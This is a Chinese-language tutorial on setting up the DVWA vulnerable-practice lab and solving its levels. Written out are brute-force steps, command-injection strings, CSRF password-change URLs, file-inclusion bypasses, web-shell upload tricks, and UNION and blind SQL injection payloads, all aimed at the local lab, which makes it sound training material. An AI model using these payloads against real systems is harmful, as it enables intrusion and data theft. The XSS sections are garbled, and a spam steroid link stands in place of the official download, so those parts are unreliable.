DVWA的安装教程和通关详解

DVWA的安装教程和通关详解

目录

一.环境搭建

1.下载和安装phpstudy

2.DVWA下载

3.DVWA安装

 更改配置信息

 解决爆红错误

二.Brute Force

1.LOW级别

2.Medium级别

3.High级别

三.Command Injection

1.Low级别

2.Medium级别

3.High级别

四.CSRF

1.Low级别

2.Medium级别

3.High级别

五.File Inclusion

1.Low级别

2.Medium级别

3.High级别

六.File Upload

1.Low级别

2.Medium级别

3.High级别

七.Insecure CAPTCHA

1.Low级别

2.Medium级别

八.SQL Injection

1.Low级别

2.Medium级别

3.High级别

九.SQL Injection(Blind)

1.Low级别

2.Medium级别

3.High级别

十.Weak Session IDS

1.Low级别

2.Medium级别

3.High级别

十一.XSS(DOM)

1.Low级别

2.Medium级别

3.High级别

十二.XSS(Reflected)

1.Low级别

2.Medium级别

3.High级别

十三.XSS(Stored)

1.Low级别

2.Medium级别

3.High级别

十四.CSP Bypass

加油各位( •̀ ω •́ )y 期待与君再相逢


DVWA是一款基于PHP和mysql开发的web靶场练习平台,集成了常见的Web漏洞。

一.环境搭建

1.下载和安装phpstudy

默认安装完成后,打开phpstudy界面如下:

DVWA的安装教程和通关详解_第1张图片

 开启Apache和MySql两个服务,点击启动:

2.DVWA下载

打开DVWA官网:Buy Steroids Online UK - Anabolic Steroids For Sale UK,打开后滑动到页面下方,点击下载,如图:DVWA的安装教程和通关详解_第2张图片

3.DVWA安装

把下载好的DVWA的压缩包解压在之前安装PHPStudy文件夹下的WWW目录(先解压再复制到此目录也可以,注意 是把整个文件夹复制到此目录,而不是各个文件),如图:DVWA的安装教程和通关详解_第3张图片

 更改配置信息

 

到这里就需要更改一些配置信息了。

我们要找到DVWA-master 下面的config文件夹,

打开config.inc.php.dist文件,修改这里的默认密码 “p@ssw0rd” 为 “root”,默认账号“dvwa"为”root“保存,

然后还需要把config.inc.php.dist的后缀“.dist”删除,最后文件名就剩config.inc.php。如图:

DVWA的安装教程和通关详解_第4张图片

DVWA的安装教程和通关详解_第5张图片

之后保持phpstudy开启状态,随便进个浏览器,

地址栏输入:http://127.0.0.1/DVWA-master 进入配置安装界面。

DVWA的安装教程和通关详解_第6张图片

标红的地方表示出现了环境或配置的问题。(这是正常现象,不用紧张)

需要下面我们逐一解决 — —

 解决爆红错误

第一个错误:表示没有开启PHP url_include模块。

解决方法:1)找到你PHPstudy的安装目录。

               2)进入Extensionsphp。

              3)找到所使用的php版本号所在文件夹,修改php.ini中的allow_url_include为On。4)然后保存,重启PHPstudy,错误得到解决。

第二个错误:表示缺少了验证码的key。

解决方法:编辑 dvwa/config/config.inc.php这个配置文件,找到以下代码把key填上就行了。

$_DVWA[ 'recaptcha_public_key' ] = '6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb';

$_DVWA[ 'recaptcha_private_key' ] = '6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K';

key也可以自己生成,地址是:https://www.google.com/recaptcha/admin/create

最后一个,点击最下面的那个“Create/Reset Database”按钮创建数据库,如果创建成功则表示如下结果,点击最下面的login进入登录界面。

DVWA的安装教程和通关详解_第7张图片

 登录界面如下:默认用户名为admin,密码为password。DVWA的安装教程和通关详解_第8张图片

 登录成功,则显示如下界面,至此,DVWA靶场搭建成功。DVWA的安装教程和通关详解_第9张图片

 在dvwa security选项中,可以调整dvwa的难易程度,如图:DVWA的安装教程和通关详解_第10张图片

二.Brute Force

        Brute Force即为暴力破解,通过枚举获取管理员的账号和密码,在实际的操作中,一般用来破解后台管理系统的登录。

1.LOW级别

在该模块任意输入账号和密码,在burp中抓包DVWA的安装教程和通关详解_第11张图片

 抓到包后,右键send ro intruder

DVWA的安装教程和通关详解_第12张图片

send to intruder在intruder的positions选择中,先点击clear$清除所有的变量。然后分别给username和password这两个字段后面的内容添加add$,添加变量并将attack type的值设置为cluster bomb

在payloads选择中分别给payload 1和payload 2设置字典路径

DVWA的安装教程和通关详解_第13张图片

同理,选择第二个payload    DVWA的安装教程和通关详解_第14张图片

 然后点击右上方的start attackDVWA的安装教程和通关详解_第15张图片

 如上,开始枚举破解。通过length的长度判决即可DVWA的安装教程和通关详解_第16张图片

       红色部分为破解的密码,通过上面的破解,我们发现length的长度存在不一样,不一样的就是为破解成功的账号和密码。

2.Medium级别

    相比Low级别的代码,Medium级别的代码主要增加了mysql_real_escape_string函数,这个函数会对字符串中的特殊符号(x00,n,r,,’,",x1a)进行转义,把其中的字符串给过滤掉了,基本上能够抵御sql注入攻击,那低等级时候用到的注入就失效了,需要注意的是中级的暴力破解相对来说较慢是因为有个sleep函数,在破解失败后会使程序停止运行两秒。所以我们直接用爆破方法即可,和low级的一样(所以这里就不多演示一遍了)

3.High级别

High级别的代码加入了Token,可以抵御CSRF攻击,同时也增加了爆破的难度,通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。

在该模块任意输入账号和密码,用burp中抓包

DVWA的安装教程和通关详解_第17张图片发现多了一个token参数。将抓到的包发送到intrudeDVWA的安装教程和通关详解_第18张图片

 选择攻击模式为pitchfock,并且给要破解的项带上美元符号DVWA的安装教程和通关详解_第19张图片

 设置参数,在option选项卡中将攻击线程thread设置为1DVWA的安装教程和通关详解_第20张图片

 因为Recursive_Grep模式不支持多线程攻击,然后选择Grep-Extract,意思是用于提取响应消息中的有用信息,点击Add,如下图进行设置,最后将Redirections设置为AlwaysDVWA的安装教程和通关详解_第21张图片

      写上value=’  点击刷新相应信息   服务器返回的token选中(即value后面,表示每次从响应中获取该值)DVWA的安装教程和通关详解_第22张图片

 将这个token 值先记录下来

87a8523f6d96f38f4f22738f2297e61a

找到Redirections模块设置允许重定向,选择alwaysDVWA的安装教程和通关详解_第23张图片

     设置密码本,点击payload,选择第一项的密码本与低等级的相同,第二项的时候选择Recursive grep 并且把之前得到的token值粘贴到下方的方框中

DVWA的安装教程和通关详解_第24张图片最后进行攻击破解。

三.Command Injection

命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者bash命令)的一种注入攻击手段。

常见的命令连接符如下:

command1 && command2    先执行command1后执行command2

command1 | command2       只执行command2

command1 & command2    先执行command2后执行command1

1.Low级别

在文本框里输入”192.168.0.1 && net user”,得到系统中所有的用户DVWA的安装教程和通关详解_第25张图片

发现乱码,乱码的解决方法:在DVWA-master\dvwa\includes目录下找到dvwaPage.inc.php文件中所有的"charset=utf-8",修改"charset=gb2312‘,即可DVWA的安装教程和通关详解_第26张图片

输入192.168.0.1 && net user,最终显示效果DVWA的安装教程和通关详解_第27张图片

2.Medium级别

代码审计DVWA的安装教程和通关详解_第28张图片

 可以看到,相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” 、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。

输入127.0.0.1 | dirDVWA的安装教程和通关详解_第29张图片

输入127.0.0.1 & ipconfigDVWA的安装教程和通关详解_第30张图片

3.High级别

    相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。黑名单看似过滤了所有的非法字符,但仔细观察到是把|(注意这里|后有一个空格)替换为空字符,于是 |成了“漏网之鱼”。

输入127.0.0.1|dir

DVWA的安装教程和通关详解_第31张图片

四.CSRF

CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

1.Low级别

我们第一次尝试两次密码不一致看看DVWA的安装教程和通关详解_第32张图片

 可以看到顶部的URL是:http://127.0.0.1/dvwa1/vulnerabilities/csrf/?password_new=1234&password_conf=1111&Change=Change#

很明显,这就是修改密码的链接

我们打开另一个页面,在顶部URL中自己输入如下的:

http://127.0.0.1/dvwa1/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#

可以看到,直接跳转到了密码成功的页面了,密码已经被修改。

2.Medium级别

Medium级别的代码在Low级别的基础上,加上了对用户请求头的中的Referer字段进行验证。即用户的请求头中的Referer字段必须包含了服务器的名字。当我们再打开另一个页面,在顶部URL中自己输入如下的URL时,

http://127.0.0.1/dvwa1/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

它会报错,提示你Http Referer字段没有定义索引(复制url到新建的页面)DVWA的安装教程和通关详解_第33张图片

 这次我们先正常的访问这个完整,然后用burpsuite进行抓包,如图可以看到Referer字段DVWA的安装教程和通关详解_第34张图片

然后,我们打开另一个页面,在顶部URL中自己输入如下的链接,用burpsuite进行抓包。   

http://127.0.0.1/dvwa1/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

可以看到,当我们直接打开另一个页面,直接输入URL的时候,请求包的头中并没有Referer字段,所以不能修改成功。DVWA的安装教程和通关详解_第35张图片

 那我们可以自己加一个Referer字段,然后值只要设置成包含了主机头127.0.0.1就行了DVWA的安装教程和通关详解_第36张图片

 可以看到,已经成功修改密码了

3.High级别

可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。这里因为对请求的token进行了验证,所以比上两个等级的更加的安全。

因为该请求是get请求,所以token验证会被放在请求URL中,我们随便输入密码验证一下,可以看到,在请求的URL中最末尾加入了token。

DVWA的安装教程和通关详解_第37张图片

五.File Inclusion

文件包含:开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。

文件包含漏洞:开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。

文件包含是利用函数来包含web目录以外的文件,分为本地包含和远程包含。

目录遍历是可以读取web目录以外的其他目录,根源在于对路径访问权限设置不严格

1.Low级别

low级别的代码对包含的文件没有进行任何的过滤!这导致我们可以进行包含任意的(远程、本地)文件。

输入:http://127.0.0.1/dvwa1/vulnerabilities/fi/?page=http://127.0.0.1/phpinfo.phpDVWA的安装教程和通关详解_第38张图片

 我们在\vulnerabilities\fi目录中创建一个测试文件test.txt,文件内容是“”,通过文件包含漏洞可以直接查看到该文件内容。DVWA的安装教程和通关详解_第39张图片

 当我们包含一个不存在的文件 xixi.php ,看看会发生什么情况?可以看到,发生了报错,并且把网站的路径都给暴露出来了。DVWA的安装教程和通关详解_第40张图片

2.Medium级别

通过审核代码,可以看到,代码使用 str_replace函数 对http:// 和 https://进行了过滤,防止了远程包含漏洞的产生。但是使用 str_replace 函数进行过滤是很不安全的,因为可以使用双写绕过。例如,我们包含 hthttp://tp://xx 时,str_replace 函数只会过滤一个 http://  ,所以最终还是会包含到 http://xx 。

访问:http://127.0.0.1/dvwa1/vulnerabilities/fi/?page=htthttp://p://127.0.0.1/phpinfo.phpDVWA的安装教程和通关详解_第41张图片

3.High级别

high级别的代码对包含的文件名进行了限制,必须为 file* 或者 include.php ,否则会提示Error:File not  found。

于是,我们可以利用 file 协议进行绕过。例如:

http://127.0.0.1/dvwa1/vulnerabilities/fi/?page=file:///D:\phpStudy\PHPTutorial\WWW\DVWA1\vulnerabilities\fi\test.txt

六.File Upload

File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。

1.Low级别

通过代码审核,可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。

文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知。这里三个条件全都满足。

制作一句话木马,文件格式为php:DVWA的安装教程和通关详解_第42张图片

 开始上传,上传成功后,会显示文件路径DVWA的安装教程和通关详解_第43张图片

接下来,实用菜刀或蚁剑拿Wehshell

2.Medium级别

        Medium级别的代码对上传文件的类型、大小做了限制,要求文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB),如果我们直接上传,会提示如下Your image was not uploaded. We can only accept JPEG or PNG images.可以看到,对上传的文件做出了要求,必须是jpg和png解决方法抓包修改文件类型即可。

所以我们创建一个1.jpg的文件,然后使用burp进行修改文件类型。

    DVWA的安装教程和通关详解_第44张图片

    上传成功。

3.High级别

High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”*.jpg”、”*.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。

思路:1)制作图片马。2)利用之前的文件包含漏洞配合菜刀或蚁剑连接刚刚上传成功的图片马。

       一句话地址:

http://127.0.0.1/dvwa1/vulnerabilities/fi/?page=file:///D:\phpStudy\PHPTutorial\WWW\DVWA1\hackable\uploads\3.jpg

七.Insecure CAPTCHA

1.Low级别

代码审核

DVWA的安装教程和通关详解_第45张图片

 DVWA的安装教程和通关详解_第46张图片

符合POST请求里带Change、step是2的条件,就可以直接跳过第一步的验证码。

通过Burp代理,修改step=2,就可以绕过第一步,从而再利用CSRF漏洞成功修改密码。

使用burp抓包,将step=1改成2,就可成功绕过

DVWA的安装教程和通关详解_第47张图片

2.Medium级别

DVWA的安装教程和通关详解_第48张图片查看服务器端核心代码可知,Medium级别的代码在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以通过伪造参数绕过验证,本质上来说,这与Low级别的验证没有任何区别。

可以通过抓包,更改step参数,增加passed_captcha参数(passed_captcha=true)

改前:DVWA的安装教程和通关详解_第49张图片

改后:DVWA的安装教程和通关详解_第50张图片

 然后我们就成功的修改了密码,绕过了验证码

3.High级别

代码审核:DVWA的安装教程和通关详解_第51张图片

满足一下任一条件就可以去修改密码:

1)验证码为真 

2)g-recaptcha-response为hidd3n_valu3并且HTTP_USER_AGENT为reCAPTCHA。

3)很明显,第二条可以通过Burp来绕过验证码。

改前:DVWA的安装教程和通关详解_第52张图片

 改后:DVWA的安装教程和通关详解_第53张图片

 执行成功!

八.SQL Injection

QL注入是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。

手工注入一般思路:

  1. 判断是否存在注入,注入是字符型还是数字型
  2. 猜解SQL查询语句中的字段数
  3. 确定回显位置
  4. 获取当前数据库
  5. 获取数据库中的表
  6. 获取表中的字段名
  7. 得到数据

1.Low级别

选择SQL Injection,在输入框随意输入数字查看回显

判断是否存在SQL注入DVWA的安装教程和通关详解_第54张图片

 输入1提交DVWA的安装教程和通关详解_第55张图片

 输入1'提交

DVWA的安装教程和通关详解_第56张图片

输入1 and 1=1 提交DVWA的安装教程和通关详解_第57张图片

输入1 and 1=2 提交DVWA的安装教程和通关详解_第58张图片

 由上可以看出是存在注入点的,并且是以单引号闭合的,

所以我们猜测sql查询语句是这样的:

Select  First name的列名and Surname的列名 from 表名 where id的列名='id'

判断列数

   1)输入1' order by 2# 提交DVWA的安装教程和通关详解_第59张图片

   1)输入1' order by 3# 提交

 DVWA的安装教程和通关详解_第60张图片

由此,我们判断列数为2列

UNION注入

1' union select 1,2#DVWA的安装教程和通关详解_第61张图片

 从上图可以看出有2个回显

查询当前的数据库及版本

输入 1' union select version(),database()#DVWA的安装教程和通关详解_第62张图片

 获取数据库中的表

1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#或者

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#DVWA的安装教程和通关详解_第63张图片

获取表中的字段名

1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

 获取字段中的数据DVWA的安装教程和通关详解_第64张图片

这里密码使用了MD5加密,可在https://www.cmd5.com/进行解密DVWA的安装教程和通关详解_第65张图片

 得到密码

 DVWA的安装教程和通关详解_第66张图片

2.Medium级别

中级加入了一些防御,,不让用户输入,只提供选择(可以用burpsuit抓包来绕过)

我们可以利用burp修改数据包,绕过防御。判断注入点,以及注入的类型。DVWA的安装教程和通关详解_第67张图片

 我们转到Repeater进行操作DVWA的安装教程和通关详解_第68张图片

根据low关卡知道存在SQL注入,这里就不多演示,我们从爆数据库开始。

1)查询当前的数据库及版本

1 union select version(),database()#DVWA的安装教程和通关详解_第69张图片

2)获取数据库中的表

1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#DVWA的安装教程和通关详解_第70张图片

3)获取表中的字段名,考虑到单引号被转义,可以利用16进制绕过。(‘user’)

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

 4)获取字段中的数据

1 union select user, password from users#

DVWA的安装教程和通关详解_第71张图片

DVWA的安装教程和通关详解_第72张图片

3.High级别

DVWA的安装教程和通关详解_第73张图片

       可以看出,点击“here to change your ID”,页面自动跳转,防御了自动化的SQL注入,分析源码可以看到,对参数没有做防御,在sql查询语句中限制啦查询条数,可以通过burpsuit抓包,修改数据包实现绕过。

方法跟前面的差不多,这里就不多演示了,直接爆账号密码

1' union select user,password from users#

九.SQL Injection(Blind)

       SQL盲注与一般注入的区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示 页面上获取执行的结果,甚至连注入语句是否执行都无法得知。

      盲注的话,就像跟一个机器人聊天,但是这个机器人只会回答“是”与“不是”,因此,得从一个大的范围去问是与不是,然后慢慢的缩小范围,最后就是类似于问“数据库名字的第一个字是不是a啊”这样的问题,通过这种机械的询问,最终得到我们想要的数据。

盲注分为:基于布尔的盲注、基于时间的盲注、基于报错的盲注

盲注的一般步骤:

  1. 判断是否存在注入、注入是字符型还是数字型
  2. 猜解当前数据库名
  3. 猜解数据库中的表名
  4. 猜解表中的字段名
  5. 猜解数据

DVWA的安装教程和通关详解_第74张图片

 DVWA的安装教程和通关详解_第75张图片

1.Low级别

DVWA的安装教程和通关详解_第76张图片

 开始操作:

输入1显示存在

输入1 and 1=1 或 1 and 1=2均显示存在

输入1' and 1=1 #显示存在(这三种都显示存在)

输入1' and 1=2 #不存在

即知:存在字符型的盲注。

下面对其进行布尔盲注

1)查数据库前要先判断数据库的长度

  1. 依次输入1' and length(database())=x #(x为大于等于1的整数)
  2. 当显示存在时即为数据库长度
  3. 发现当x=4时显示存在,故数据库长度为4

2)二分法找数据库名

  • 依次输入1' and ascii(substr(databse(),1,1))>或<字母的ascii值#, 通过比较输入字母的ascii值的显示正常与否来逐个确定库名DVWA的安装教程和通关详解_第77张图片

  • 重复上述步骤,就可以得到完整的数据库名dvwa

3)查数据库中的表

  • 首先确定数据库中表的数量

       输入 1' and (select count (table_name) from information_schema.tables where table_schema=database())=x # (x为大于等于1的整数)

       当显示存在时即可判断表的数量

       最终当x=2显示存在即表的数量为2

  • 然后确定表的长度

       输入1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=x #(x为大于等于1的整数)

       当显示存在时即可判断表的长度

       当x=9显示存在即表的长度为9

  • 然后同样二分法确定表名

       输入 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>或<字母的ascii值 #

       通过比较输入字母的ascii值的显示正常与否来逐个确定表名

  • 重复上述步骤可得到出两个表名guestbook、users

4)找表中的字段

  • 首先找到字段的数量

       输入1' and (select count(column_name) from information_schema.columns where table_name= 'users')=x #

    当显示存在时即为字段数

    最后当x=8时显示存在即字段数users字段数为8

  • 然后找字段名

       输入1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=x #

       当x=7时显示存在即users表的第一个字段为7个字符长度

  • 最后也是二分法确定字段名

接下来对其进行时间盲注

       1)判断注入类型

           说明为字符型盲注

      2)找库名

  • 先确定库名长度DVWA的安装教程和通关详解_第78张图片

        库名长度为4

  • 然后通过二分法找库名DVWA的安装教程和通关详解_第79张图片

    重复上述步骤即可找到库名

3)找库中表名

  • 先确定表的数量

可以确定表的数量为2

  • 再确定表的长度

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) #  没有延迟

……

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #   明显延迟

可以确定第一个表的长度为9

  • 最后二分法找到表名

4)找表中的字段

  • 先确定字段的数量

      可以确定users字段的数量为8

  • 然后依次确定字段名

1’ and if(length(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1))=1,sleep(5),1) #   没有延迟

1’ and if(length(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1))=7,sleep(5),1) #   明显延迟

说明users表的第一个字段长度为7

  • 最后再用二分法确定字段名

2.Medium级别

       可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。可以通过过抓包来实现sql盲注。

DVWA的安装教程和通关详解_第80张图片

3.High级别

      可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们只演示基于布尔的盲注:DVWA的安装教程和通关详解_第81张图片

 特别提醒:自动化注入工具sqlmap的应用

十.Weak Session IDS

  • Session简介:

       用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带Session去访问即可。

    sessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问权限,无需录直接进入特定用户界面,进而进行其他操作。

       用户访问服务器的时候,在服务器端会创建一个新的会话(Session),会话中会保存用户的状态和相关信息,用于标识用户。服务器端维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可。为了告诉服务器应该使用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器。用户拿到session id就会加密后保存到 cookies 上,之后只要cookies随着http请求发送服务器,服务器就知道你是谁了。SessionID一旦在生命周期内被窃取,就等同于账户失窃。

  • Session利用的实质:

    由于SessionID是用户登录之后才持有的唯一认证凭证,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权限,无需登录密码直接进入特定用户界面, 进而查找其他漏洞如XSS、文件上传等等。

  • Session劫持:

      就是一种通过窃取用户SessionID,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。如果SessionID是保存在Cookie中的,则这种攻击可以称为Cookie劫持。SessionID还可以保存在URL中,作为一个请求的一个参数,但是这种方式的安全性难以经受考验。

注意:session id 过于简单就会容易被人伪造。根本都不需要知道用户的密码就能访问,用户服务器的内容了。

1.Low级别

        low级别未设置过滤,直接用bp抓包,可以清楚的看到dvwaSession的cookie,每重放一次,dvwaSesion增加1DVWA的安装教程和通关详解_第82张图片

 构造payload:dvwaSession=12; security=low; PHPSESSID=9uu34n47j66u3g420tv8j7chu0

     通过火狐浏览器的hackbar,提交,选择cookie提交方式,为验证有效性,清楚一下浏览器的cookie值,提交后发现直接登录dvwa,绕过密码验证DVWA的安装教程和通关详解_第83张图片

2.Medium级别

代码审核:DVWA的安装教程和通关详解_第84张图片

 medium级别是基于时间戳生成dvwaSession的,关于时间戳转换,直接查找转换器进行转换即可。DVWA的安装教程和通关详解_第85张图片

 通过设置时间戳,可知诱骗受害者在某个时间点基进行点击DVWA的安装教程和通关详解_第86张图片

3.High级别

high级别使用了PHP setcookie()函数,来设置cookie

      抓包发现,dvwaSession值很像md5加密,使用md5解密,发现是对从零开始的整数进行加密;构造payload使用火狐提交。

十一.XSS(DOM)

       XSS(DOM)是一种基于DOM树的一种代码注入攻击方式,可以是反射型的,也可以是存储型的,所以它一直被划分第三种XSS。与前两种XSS相比,它最大的特点就是不与后台服务器交互,只是通过浏览器的DOM树解析产生。除了js,flash等脚本语言也有可能存在XSS漏洞

1.Low级别

无任何过滤

所以我们可以构造XSS代码,访问链接:http://127.0.0.1/dvwa1/vulnerabilities/xss_d/?default=DVWA的安装教程和通关详解_第87张图片

 我们查看源代码,可以看到,我们的脚本插入到代码中,所以执行了DVWA的安装教程和通关详解_第88张图片

2.Medium级别

代码审核:DVWA的安装教程和通关详解_第89张图片

       可以看到,medium级别的代码先检查了default参数是否为空,如果不为空则将default等于获取到的default值。这里还使用了stripos 用于检测default值中是否有

很明显,这里过滤了 DVWA的安装教程和通关详解_第97张图片

 

2.Medium级别

 

代码审计:

DVWA的安装教程和通关详解_第98张图片

,可以看到,我们的js代码立即就执行了

DVWA的安装教程和通关详解_第102张图片

 

DVWA的安装教程和通关详解_第103张图片

2.Medium级别

addslashes(string) :函数返回在预定义字符之前添加反斜杠的字符串,预定义字符 ' 、" 、\ 、NULL

strip_tags(string) :函数剥去string字符串中的 HTML、XML 以及 PHP 的标签 

htmlspecialchars(string): 把预定义的字符 "<" (小于)、 ">" (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素

当我们再次输入1 和 ,strip_tags函数把

DVWA的安装教程和通关详解_第104张图片

 

2)大小写混淆绕过,Burpsuite抓包改name参数为:

DVWA的安装教程和通关详解_第105张图片

 

3)使用非 script 标签的 xss payload:

Burpsuite抓包改name参数为:

DVWA的安装教程和通关详解_第106张图片

 最终弹框:DVWA的安装教程和通关详解_第107张图片

 

3.High级别

使用正则表达式过滤了

你可能感兴趣的:(DVWA,php,开发语言,web安全,网络安全,数据库)